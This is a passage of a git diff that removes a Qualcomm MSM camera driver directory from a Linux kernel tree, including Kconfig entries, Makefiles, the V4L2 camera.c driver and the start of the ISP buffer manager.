is 30fps at 3264 * 2448, 60fps at 1632 * 1224 - -config s5k4e1 - bool "Sensor s5k4e1 (BAYER 5MP)" - depends on MSMB_CAMERA - ---help--- - Samsung 5 MP Bayer Sensor. It uses 2 mipi lanes, - supports 720P preview at 30 fps - and QSXGA snapshot at 15 fps. - This sensor driver does not support auto focus. - -config OV12830 - bool "OmniVision OV12830 (BAYER 12MP)" - depends on MSMB_CAMERA - ---help--- - OmniVision 12.8 MP Bayer Sensor with auto focus.uses - 4 mipi lanes, preview config = 2112 * 1500 at 30 fps, - snapshot config = 4224 * 3000 at 15 fps. - 2 lanes max fps is 18, 4 lanes max fps is 24. - -config MSM_V4L2_VIDEO_OVERLAY_DEVICE - tristate "Qualcomm MSM V4l2 video overlay device" - ---help--- - Enables support for the MSM V4L2 video - overlay driver. This allows video rendering - apps to render overlaid video using Video4Linux2 - APIs, by using /dev/videoX device - -config MSMB_JPEG - tristate "Qualcomm MSM Jpeg Encoder Engine support" - depends on MSMB_CAMERA && (ARCH_MSM8974 || ARCH_MSM8226 || ARCH_APQ8084 || ARCH_MSM8916 || ARCH_MSM) - ---help--- - Enable support for Jpeg Encoder/Decoder - Engine for 8974. - This module serves as the common driver - for the JPEG 1.0 encoder and decoder. - -config MSM_GEMINI - tristate "Qualcomm MSM Gemini JPEG engine support" - depends on MSMB_CAMERA && (ARCH_MSM7X30 || ARCH_MSM8X60 || ARCH_MSM8960) - ---help--- - Enables support for the Gemini JPEG encoder engine for 8x60. diff --git a/drivers/media/platform/msm/camera_wt88047_v2/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/Makefile deleted file mode 100644 index 4023fa5206870..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/Makefile +++ /dev/null @@ -1,18 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/codecs -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/isps -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/pproc -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/msm_vb2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/camera -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/jpeg_10 - -obj-$(CONFIG_MSMB_CAMERA) += msm.o -obj-$(CONFIG_MSMB_CAMERA) += camera/ -obj-$(CONFIG_MSMB_CAMERA) += msm_vb2/ -obj-$(CONFIG_MSMB_CAMERA) += sensor/ -obj-$(CONFIG_MSMB_CAMERA) += pproc/ -obj-$(CONFIG_MSMB_CAMERA) += isp/ -obj-$(CONFIG_MSMB_CAMERA) += ispif/ -obj-$(CONFIG_MSMB_JPEG) += jpeg_10/ -obj-$(CONFIG_MSMB_CAMERA) += msm_buf_mgr/ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile deleted file mode 100644 index 18e6c703d4b76..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/camera/Makefile +++ /dev/null @@ -1,3 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/msm_vb2 -obj-$(CONFIG_MSMB_CAMERA) += camera.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c b/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c deleted file mode 100644 index 2bc869d433a4c..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.c +++ /dev/null @@ -1,802 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "camera.h" -#include "msm.h" -#include "msm_vb2.h" - -#define fh_to_private(__fh) \ - container_of(__fh, struct camera_v4l2_private, fh) - -struct camera_v4l2_private { - struct v4l2_fh fh; - unsigned int stream_id; - unsigned int is_vb2_valid; /*0 if no vb2 buffers on stream, else 1*/ - struct vb2_queue vb2_q; -}; - -static void camera_pack_event(struct file *filep, int evt_id, - int command, int value, struct v4l2_event *event) -{ - struct msm_v4l2_event_data *event_data = - (struct msm_v4l2_event_data *)&event->u.data[0]; - struct msm_video_device *pvdev = video_drvdata(filep); - struct camera_v4l2_private *sp = fh_to_private(filep->private_data); - - /* always MSM_CAMERA_V4L2_EVENT_TYPE */ - event->type = MSM_CAMERA_V4L2_EVENT_TYPE; - event->id = evt_id; - event_data->command = command; - event_data->session_id = pvdev->vdev->num; - event_data->stream_id = sp->stream_id; - event_data->arg_value = value; -} - -static int camera_check_event_status(struct v4l2_event *event) -{ - struct msm_v4l2_event_data *event_data = - (struct msm_v4l2_event_data *)&event->u.data[0]; - - if (event_data->status > MSM_CAMERA_ERR_EVT_BASE) { - pr_err("%s : event_data status out of bounds\n", - __func__); - pr_err("%s : Line %d event_data->status 0X%x\n", - __func__, __LINE__, event_data->status); - return -EFAULT; - } - - return 0; -} - -static int camera_v4l2_querycap(struct file *filep, void *fh, - struct v4l2_capability *cap) -{ - int rc; - struct v4l2_event event; - - /* can use cap->driver to make differentiation */ - camera_pack_event(filep, MSM_CAMERA_GET_PARM, - MSM_CAMERA_PRIV_QUERY_CAP, -1, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - - return rc; -} - -static int camera_v4l2_s_crop(struct file *filep, void *fh, - const struct v4l2_crop *crop) -{ - int rc = 0; - struct v4l2_event event; - - if (crop->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { - - camera_pack_event(filep, MSM_CAMERA_SET_PARM, - MSM_CAMERA_PRIV_S_CROP, -1, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - } - - return rc; -} - -static int camera_v4l2_g_crop(struct file *filep, void *fh, - struct v4l2_crop *crop) -{ - int rc = 0; - struct v4l2_event event; - - if (crop->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { - camera_pack_event(filep, MSM_CAMERA_GET_PARM, - MSM_CAMERA_PRIV_G_CROP, -1, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - } - - return rc; -} - -static int camera_v4l2_queryctrl(struct file *filep, void *fh, - struct v4l2_queryctrl *ctrl) -{ - int rc = 0; - struct v4l2_event event; - - if (ctrl->type == V4L2_CTRL_TYPE_MENU) { - - camera_pack_event(filep, MSM_CAMERA_GET_PARM, - ctrl->id, -1, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - } - - return rc; -} - -static int camera_v4l2_g_ctrl(struct file *filep, void *fh, - struct v4l2_control *ctrl) -{ - int rc = 0; - struct v4l2_event event; - - if (ctrl->id >= V4L2_CID_PRIVATE_BASE) { - camera_pack_event(filep, MSM_CAMERA_GET_PARM, ctrl->id, -1, - &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - } - - return rc; -} - -static int camera_v4l2_s_ctrl(struct file *filep, void *fh, - struct v4l2_control *ctrl) -{ - int rc = 0; - struct v4l2_event event; - struct msm_v4l2_event_data *event_data; - if (ctrl->id >= V4L2_CID_PRIVATE_BASE) { - camera_pack_event(filep, MSM_CAMERA_SET_PARM, ctrl->id, - ctrl->value, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - event_data = (struct msm_v4l2_event_data *)event.u.data; - ctrl->value = event_data->ret_value; - rc = camera_check_event_status(&event); - } - - return rc; -} - -static int camera_v4l2_reqbufs(struct file *filep, void *fh, - struct v4l2_requestbuffers *req) -{ - int ret; - struct msm_session *session; - struct camera_v4l2_private *sp = fh_to_private(fh); - struct msm_video_device *pvdev = video_drvdata(filep); - unsigned int session_id = pvdev->vdev->num; - session = msm_session_find(session_id); - if (WARN_ON(!session)) - return -EIO; - mutex_lock(&session->lock); - ret = vb2_reqbufs(&sp->vb2_q, req); - mutex_unlock(&session->lock); - return ret; -} - -static int camera_v4l2_querybuf(struct file *filep, void *fh, - struct v4l2_buffer *pb) -{ - return 0; -} - -static int camera_v4l2_qbuf(struct file *filep, void *fh, - struct v4l2_buffer *pb) -{ - int ret; - struct msm_session *session; - struct camera_v4l2_private *sp = fh_to_private(fh); - struct msm_video_device *pvdev = video_drvdata(filep); - unsigned int session_id = pvdev->vdev->num; - session = msm_session_find(session_id); - if (WARN_ON(!session)) - return -EIO; - mutex_lock(&session->lock); - ret = vb2_qbuf(&sp->vb2_q, pb); - mutex_unlock(&session->lock); - return ret; -} - -static int camera_v4l2_dqbuf(struct file *filep, void *fh, - struct v4l2_buffer *pb) -{ - int ret; - struct msm_session *session; - struct camera_v4l2_private *sp = fh_to_private(fh); - struct msm_video_device *pvdev = video_drvdata(filep); - unsigned int session_id = pvdev->vdev->num; - session = msm_session_find(session_id); - if (WARN_ON(!session)) - return -EIO; - mutex_lock(&session->lock); - ret = vb2_dqbuf(&sp->vb2_q, pb, filep->f_flags & O_NONBLOCK); - mutex_unlock(&session->lock); - return ret; -} - -static int camera_v4l2_streamon(struct file *filep, void *fh, - enum v4l2_buf_type buf_type) -{ - struct v4l2_event event; - int rc; - struct camera_v4l2_private *sp = fh_to_private(fh); - - rc = vb2_streamon(&sp->vb2_q, buf_type); - camera_pack_event(filep, MSM_CAMERA_SET_PARM, - MSM_CAMERA_PRIV_STREAM_ON, -1, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - return rc; -} - -static int camera_v4l2_streamoff(struct file *filep, void *fh, - enum v4l2_buf_type buf_type) -{ - struct v4l2_event event; - int rc; - struct camera_v4l2_private *sp = fh_to_private(fh); - - camera_pack_event(filep, MSM_CAMERA_SET_PARM, - MSM_CAMERA_PRIV_STREAM_OFF, -1, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - vb2_streamoff(&sp->vb2_q, buf_type); - return rc; -} - -static int camera_v4l2_g_fmt_vid_cap_mplane(struct file *filep, void *fh, - struct v4l2_format *pfmt) -{ - int rc = -EINVAL; - - if (pfmt->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { - struct v4l2_event event; - - camera_pack_event(filep, MSM_CAMERA_GET_PARM, - MSM_CAMERA_PRIV_G_FMT, -1, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - } - - return rc; -} - -static int camera_v4l2_s_fmt_vid_cap_mplane(struct file *filep, void *fh, - struct v4l2_format *pfmt) -{ - int rc = 0; - int i = 0; - struct v4l2_event event; - struct camera_v4l2_private *sp = fh_to_private(fh); - struct msm_v4l2_format_data *user_fmt; - - if (pfmt->type == V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE) { - - if (WARN_ON(!sp->vb2_q.drv_priv)) - return -ENOMEM; - - memcpy(sp->vb2_q.drv_priv, pfmt->fmt.raw_data, - sizeof(struct msm_v4l2_format_data)); - user_fmt = (struct msm_v4l2_format_data *)sp->vb2_q.drv_priv; - - pr_debug("%s: num planes :%c\n", __func__, - user_fmt->num_planes); - /*num_planes need to bound checked, otherwise for loop - can execute forever */ - if (WARN_ON(user_fmt->num_planes > VIDEO_MAX_PLANES)) - return -EINVAL; - for (i = 0; i < user_fmt->num_planes; i++) - pr_debug("%s: plane size[%d]\n", __func__, - user_fmt->plane_sizes[i]); - - camera_pack_event(filep, MSM_CAMERA_SET_PARM, - MSM_CAMERA_PRIV_S_FMT, -1, &event); - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - return rc; - - rc = camera_check_event_status(&event); - if (rc < 0) - return rc; - - sp->is_vb2_valid = 1; - } - - return rc; - -} - -static int camera_v4l2_try_fmt_vid_cap_mplane(struct file *filep, void *fh, - struct v4l2_format *pfmt) -{ - return 0; -} - - -static int camera_v4l2_g_parm(struct file *filep, void *fh, - struct v4l2_streamparm *a) -{ - /* TODO */ - return 0; -} - -static int camera_v4l2_s_parm(struct file *filep, void *fh, - struct v4l2_streamparm *parm) -{ - int rc = 0; - struct v4l2_event event; - struct msm_v4l2_event_data *event_data = - (struct msm_v4l2_event_data *)&event.u.data[0]; - struct camera_v4l2_private *sp = fh_to_private(fh); - - camera_pack_event(filep, MSM_CAMERA_SET_PARM, - MSM_CAMERA_PRIV_NEW_STREAM, -1, &event); - - rc = msm_create_stream(event_data->session_id, - event_data->stream_id, &sp->vb2_q); - if (rc < 0) - return rc; - - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) - goto error; - - rc = camera_check_event_status(&event); - if (rc < 0) - goto error; - - /* use stream_id as stream index */ - parm->parm.capture.extendedmode = sp->stream_id; - - return rc; - -error: - msm_delete_stream(event_data->session_id, - event_data->stream_id); - return rc; -} - -static int camera_v4l2_subscribe_event(struct v4l2_fh *fh, - const struct v4l2_event_subscription *sub) -{ - int rc = 0; - struct camera_v4l2_private *sp = fh_to_private(fh); - - rc = v4l2_event_subscribe(&sp->fh, sub, 5, NULL); - - return rc; -} - -static int camera_v4l2_unsubscribe_event(struct v4l2_fh *fh, - const struct v4l2_event_subscription *sub) -{ - int rc = 0; - struct camera_v4l2_private *sp = fh_to_private(fh); - - rc = v4l2_event_unsubscribe(&sp->fh, sub); - - return rc; -} - -static const struct v4l2_ioctl_ops camera_v4l2_ioctl_ops = { - .vidioc_querycap = camera_v4l2_querycap, - .vidioc_s_crop = camera_v4l2_s_crop, - .vidioc_g_crop = camera_v4l2_g_crop, - .vidioc_queryctrl = camera_v4l2_queryctrl, - .vidioc_g_ctrl = camera_v4l2_g_ctrl, - .vidioc_s_ctrl = camera_v4l2_s_ctrl, - .vidioc_reqbufs = camera_v4l2_reqbufs, - .vidioc_querybuf = camera_v4l2_querybuf, - .vidioc_qbuf = camera_v4l2_qbuf, - .vidioc_dqbuf = camera_v4l2_dqbuf, - .vidioc_streamon = camera_v4l2_streamon, - .vidioc_streamoff = camera_v4l2_streamoff, - .vidioc_g_fmt_vid_cap_mplane = camera_v4l2_g_fmt_vid_cap_mplane, - .vidioc_s_fmt_vid_cap_mplane = camera_v4l2_s_fmt_vid_cap_mplane, - .vidioc_try_fmt_vid_cap_mplane = camera_v4l2_try_fmt_vid_cap_mplane, - - /* Stream type-dependent parameter ioctls */ - .vidioc_g_parm = camera_v4l2_g_parm, - .vidioc_s_parm = camera_v4l2_s_parm, - - /* event subscribe/unsubscribe */ - .vidioc_subscribe_event = camera_v4l2_subscribe_event, - .vidioc_unsubscribe_event = camera_v4l2_unsubscribe_event, -}; - -static int camera_v4l2_fh_open(struct file *filep) -{ - struct msm_video_device *pvdev = video_drvdata(filep); - struct camera_v4l2_private *sp; - unsigned int stream_id; - - sp = kzalloc(sizeof(*sp), GFP_KERNEL); - if (!sp) { - pr_err("%s : memory not available\n", __func__); - return -ENOMEM; - } - - filep->private_data = &sp->fh; - - /* stream_id = open id */ - stream_id = atomic_read(&pvdev->opened); - sp->stream_id = find_first_zero_bit( - &stream_id, MSM_CAMERA_STREAM_CNT_BITS); - pr_debug("%s: Found stream_id=%d\n", __func__, sp->stream_id); - - v4l2_fh_init(&sp->fh, pvdev->vdev); - v4l2_fh_add(&sp->fh); - - return 0; -} - -static int camera_v4l2_fh_release(struct file *filep) -{ - struct camera_v4l2_private *sp = fh_to_private(filep->private_data); - - if (sp) { - v4l2_fh_del(&sp->fh); - v4l2_fh_exit(&sp->fh); - } - - kzfree(sp); - return 0; -} - -static int camera_v4l2_vb2_q_init(struct file *filep) -{ - struct camera_v4l2_private *sp = fh_to_private(filep->private_data); - struct vb2_queue *q = &sp->vb2_q; - - memset(q, 0, sizeof(struct vb2_queue)); - - /* free up this buffer when stream is done */ - q->drv_priv = - kzalloc(sizeof(struct msm_v4l2_format_data), GFP_KERNEL); - if (!q->drv_priv) { - pr_err("%s : memory not available\n", __func__); - return -ENOMEM; - } - - q->mem_ops = msm_vb2_get_q_mem_ops(); - q->ops = msm_vb2_get_q_ops(); - - /* default queue type */ - q->type = V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE; - q->io_modes = VB2_USERPTR; - q->io_flags = 0; - q->buf_struct_size = sizeof(struct msm_vb2_buffer); - q->timestamp_type = V4L2_BUF_FLAG_TIMESTAMP_MONOTONIC; - return vb2_queue_init(q); -} - -static void camera_v4l2_vb2_q_release(struct file *filep) -{ - struct camera_v4l2_private *sp = filep->private_data; - - kzfree(sp->vb2_q.drv_priv); - vb2_queue_release(&sp->vb2_q); -} - -static int camera_v4l2_open(struct file *filep) -{ - int rc = 0; - struct v4l2_event event; - struct msm_video_device *pvdev = video_drvdata(filep); - unsigned int opn_idx, idx; - BUG_ON(!pvdev); - - rc = camera_v4l2_fh_open(filep); - if (rc < 0) { - pr_err("%s : camera_v4l2_fh_open failed Line %d rc %d\n", - __func__, __LINE__, rc); - goto fh_open_fail; - } - - opn_idx = atomic_read(&pvdev->opened); - idx = opn_idx; - /* every stream has a vb2 queue */ - rc = camera_v4l2_vb2_q_init(filep); - if (rc < 0) { - pr_err("%s : vb2 queue init fails Line %d rc %d\n", - __func__, __LINE__, rc); - goto vb2_q_fail; - } - - if (!atomic_read(&pvdev->opened)) { - pm_stay_awake(&pvdev->vdev->dev); - - /* create a new session when first opened */ - rc = msm_create_session(pvdev->vdev->num, pvdev->vdev); - if (rc < 0) { - pr_err("%s : session creation failed Line %d rc %d\n", - __func__, __LINE__, rc); - goto session_fail; - } - - rc = msm_create_command_ack_q(pvdev->vdev->num, - find_first_zero_bit(&opn_idx, - MSM_CAMERA_STREAM_CNT_BITS)); - if (rc < 0) { - pr_err("%s : creation of command_ack queue failed\n", - __func__); - pr_err("%s : Line %d rc %d\n", __func__, __LINE__, rc); - goto command_ack_q_fail; - } - - camera_pack_event(filep, MSM_CAMERA_NEW_SESSION, 0, -1, &event); - rc = msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - if (rc < 0) { - pr_err("%s : posting of NEW_SESSION event failed\n", - __func__); - pr_err("%s : Line %d rc %d\n", __func__, __LINE__, rc); - goto post_fail; - } - - rc = camera_check_event_status(&event); - if (rc < 0) { - pr_err("%s : checking event status fails Line %d rc %d\n", - __func__, __LINE__, rc); - goto post_fail; - } - } else { - rc = msm_create_command_ack_q(pvdev->vdev->num, - find_first_zero_bit(&opn_idx, - MSM_CAMERA_STREAM_CNT_BITS)); - if (rc < 0) { - pr_err("%s : creation of command_ack queue failed Line %d rc %d\n", - __func__, __LINE__, rc); - goto session_fail; - } - } - pr_debug("%s: Open stream_id=%d\n", __func__, - find_first_zero_bit(&opn_idx, MSM_CAMERA_STREAM_CNT_BITS)); - idx |= (1 << find_first_zero_bit(&opn_idx, MSM_CAMERA_STREAM_CNT_BITS)); - atomic_cmpxchg(&pvdev->opened, opn_idx, idx); - return rc; - -post_fail: - msm_delete_command_ack_q(pvdev->vdev->num, 0); -command_ack_q_fail: - msm_destroy_session(pvdev->vdev->num); -session_fail: - pm_relax(&pvdev->vdev->dev); - camera_v4l2_vb2_q_release(filep); -vb2_q_fail: - camera_v4l2_fh_release(filep); -fh_open_fail: - return rc; -} - -static unsigned int camera_v4l2_poll(struct file *filep, - struct poll_table_struct *wait) -{ - int rc = 0; - struct camera_v4l2_private *sp = fh_to_private(filep->private_data); - if (sp->is_vb2_valid == 1) - rc = vb2_poll(&sp->vb2_q, filep, wait); - - poll_wait(filep, &sp->fh.wait, wait); - if (v4l2_event_pending(&sp->fh)) - rc |= POLLPRI; - - return rc; -} - -static int camera_v4l2_close(struct file *filep) -{ - int rc = 0; - struct v4l2_event event; - struct msm_video_device *pvdev = video_drvdata(filep); - struct camera_v4l2_private *sp = fh_to_private(filep->private_data); - unsigned int opn_idx, mask; - BUG_ON(!pvdev); - - opn_idx = atomic_read(&pvdev->opened); - pr_debug("%s: close stream_id=%d\n", __func__, sp->stream_id); - mask = (1 << sp->stream_id); - opn_idx &= ~mask; - atomic_set(&pvdev->opened, opn_idx); - - if (atomic_read(&pvdev->opened) == 0) { - - camera_pack_event(filep, MSM_CAMERA_SET_PARM, - MSM_CAMERA_PRIV_DEL_STREAM, -1, &event); - - /* Donot wait, imaging server may have crashed */ - msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - - camera_pack_event(filep, MSM_CAMERA_DEL_SESSION, 0, -1, &event); - - /* Donot wait, imaging server may have crashed */ - msm_post_event(&event, -1); - msm_delete_command_ack_q(pvdev->vdev->num, 0); - - /* This should take care of both normal close - * and application crashes */ - msm_destroy_session(pvdev->vdev->num); - pm_relax(&pvdev->vdev->dev); - } else { - camera_pack_event(filep, MSM_CAMERA_SET_PARM, - MSM_CAMERA_PRIV_DEL_STREAM, -1, &event); - - /* Donot wait, imaging server may have crashed */ - msm_post_event(&event, MSM_POST_EVT_TIMEOUT); - msm_delete_command_ack_q(pvdev->vdev->num, - sp->stream_id); - - msm_delete_stream(pvdev->vdev->num, sp->stream_id); - } - - camera_v4l2_vb2_q_release(filep); - camera_v4l2_fh_release(filep); - - return rc; -} - -#ifdef CONFIG_COMPAT -long camera_v4l2_compat_ioctl(struct file *file, unsigned int cmd, - unsigned long arg) -{ - return -ENOIOCTLCMD; -} -#endif -static struct v4l2_file_operations camera_v4l2_fops = { - .owner = THIS_MODULE, - .open = camera_v4l2_open, - .poll = camera_v4l2_poll, - .release = camera_v4l2_close, - .ioctl = video_ioctl2, -#ifdef CONFIG_COMPAT - .compat_ioctl32 = camera_v4l2_compat_ioctl, -#endif -}; - -int camera_init_v4l2(struct device *dev, unsigned int *session) -{ - struct msm_video_device *pvdev; - struct v4l2_device *v4l2_dev; - int rc = 0; - - pvdev = kzalloc(sizeof(struct msm_video_device), - GFP_KERNEL); - if (WARN_ON(!pvdev)) { - rc = -ENOMEM; - goto init_end; - } - - pvdev->vdev = video_device_alloc(); - if (WARN_ON(!pvdev->vdev)) { - rc = -ENOMEM; - goto video_fail; - } - - v4l2_dev = kzalloc(sizeof(struct v4l2_device), GFP_KERNEL); - if (WARN_ON(!v4l2_dev)) { - rc = -ENOMEM; - goto v4l2_fail; - } - -#if defined(CONFIG_MEDIA_CONTROLLER) - v4l2_dev->mdev = kzalloc(sizeof(struct media_device), - GFP_KERNEL); - if (!v4l2_dev->mdev) { - rc = -ENOMEM; - goto mdev_fail; - } - strlcpy(v4l2_dev->mdev->model, MSM_CAMERA_NAME, - sizeof(v4l2_dev->mdev->model)); - - v4l2_dev->mdev->dev = dev; - - rc = media_device_register(v4l2_dev->mdev); - if (WARN_ON(rc < 0)) - goto media_fail; - - rc = media_entity_init(&pvdev->vdev->entity, 0, NULL, 0); - if (WARN_ON(rc < 0)) - goto entity_fail; - pvdev->vdev->entity.type = MEDIA_ENT_T_DEVNODE_V4L; - pvdev->vdev->entity.group_id = QCAMERA_VNODE_GROUP_ID; -#endif - - v4l2_dev->notify = NULL; - pvdev->vdev->v4l2_dev = v4l2_dev; - - rc = v4l2_device_register(dev, pvdev->vdev->v4l2_dev); - if (WARN_ON(rc < 0)) - goto register_fail; - - strlcpy(pvdev->vdev->name, "msm-sensor", sizeof(pvdev->vdev->name)); - pvdev->vdev->release = video_device_release; - pvdev->vdev->fops = &camera_v4l2_fops; - pvdev->vdev->ioctl_ops = &camera_v4l2_ioctl_ops; - pvdev->vdev->minor = -1; - pvdev->vdev->vfl_type = VFL_TYPE_GRABBER; - rc = video_register_device(pvdev->vdev, - VFL_TYPE_GRABBER, -1); - if (WARN_ON(rc < 0)) - goto video_register_fail; -#if defined(CONFIG_MEDIA_CONTROLLER) - /* FIXME: How to get rid of this messy? */ - pvdev->vdev->entity.name = video_device_node_name(pvdev->vdev); -#endif - - *session = pvdev->vdev->num; - atomic_set(&pvdev->opened, 0); - video_set_drvdata(pvdev->vdev, pvdev); - device_init_wakeup(&pvdev->vdev->dev, 1); - goto init_end; - -video_register_fail: - v4l2_device_unregister(pvdev->vdev->v4l2_dev); -register_fail: -#if defined(CONFIG_MEDIA_CONTROLLER) - media_entity_cleanup(&pvdev->vdev->entity); -entity_fail: - media_device_unregister(v4l2_dev->mdev); -media_fail: - kzfree(v4l2_dev->mdev); -mdev_fail: -#endif - kzfree(v4l2_dev); -v4l2_fail: - video_device_release(pvdev->vdev); -video_fail: - kzfree(pvdev); -init_end: - return rc; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.h b/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.h deleted file mode 100644 index ac860a4f87d6a..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/camera/camera.h +++ /dev/null @@ -1,23 +0,0 @@ -/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef _CAMERA_H -#define _CAMERA_H - -enum stream_state { - START_STREAM = 0, - STOP_STREAM, -}; - -int camera_init_v4l2(struct device *dev, unsigned int *session); - -#endif /*_CAMERA_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile deleted file mode 100644 index bff7d37c78243..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2 -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/io -obj-$(CONFIG_MSMB_CAMERA) += msm_isp.o msm_buf_mgr.o msm_isp_util.o msm_isp_axi_util.o msm_isp_stats_util.o -obj-$(CONFIG_MSMB_CAMERA) += msm_isp44.o msm_isp40.o msm_isp32.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c deleted file mode 100644 index 922614baae1a1..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_buf_mgr.c +++ /dev/null @@ -1,962 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - - -#include -#include -#include -#include -#include -#include - -#include - -#include "msm.h" -#include "msm_buf_mgr.h" - -/*#define CONFIG_MSM_ISP_DBG*/ -#undef CDBG -#ifdef CONFIG_MSM_ISP_DBG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -static struct msm_isp_bufq *msm_isp_get_bufq( - struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle) -{ - struct msm_isp_bufq *bufq = NULL; - uint32_t bufq_index = bufq_handle & 0xFF; - if (bufq_index > buf_mgr->num_buf_q) - return bufq; - - bufq = &buf_mgr->bufq[bufq_index]; - if (bufq->bufq_handle == bufq_handle) - return bufq; - - return NULL; -} - -static struct msm_isp_buffer *msm_isp_get_buf_ptr( - struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle, uint32_t buf_index) -{ - struct msm_isp_bufq *bufq = NULL; - struct msm_isp_buffer *buf_info = NULL; - - bufq = msm_isp_get_bufq(buf_mgr, bufq_handle); - if (!bufq) { - pr_err("%s: Invalid bufq\n", __func__); - return buf_info; - } - - if (bufq->num_bufs <= buf_index) { - pr_err("%s: Invalid buf index\n", __func__); - return buf_info; - } - buf_info = &bufq->bufs[buf_index]; - return buf_info; -} - -static uint32_t msm_isp_get_buf_handle( - struct msm_isp_buf_mgr *buf_mgr, - uint32_t session_id, uint32_t stream_id) -{ - int i; - if ((buf_mgr->buf_handle_cnt << 8) == 0) - buf_mgr->buf_handle_cnt++; - - for (i = 0; i < buf_mgr->num_buf_q; i++) { - if (buf_mgr->bufq[i].session_id == session_id && - buf_mgr->bufq[i].stream_id == stream_id) - return 0; - } - - for (i = 0; i < buf_mgr->num_buf_q; i++) { - if (buf_mgr->bufq[i].bufq_handle == 0) { - memset(&buf_mgr->bufq[i], - 0, sizeof(struct msm_isp_bufq)); - buf_mgr->bufq[i].bufq_handle = - (++buf_mgr->buf_handle_cnt) << 8 | i; - return buf_mgr->bufq[i].bufq_handle; - } - } - return 0; -} - -static int msm_isp_free_buf_handle(struct msm_isp_buf_mgr *buf_mgr, - uint32_t bufq_handle) -{ - struct msm_isp_bufq *bufq 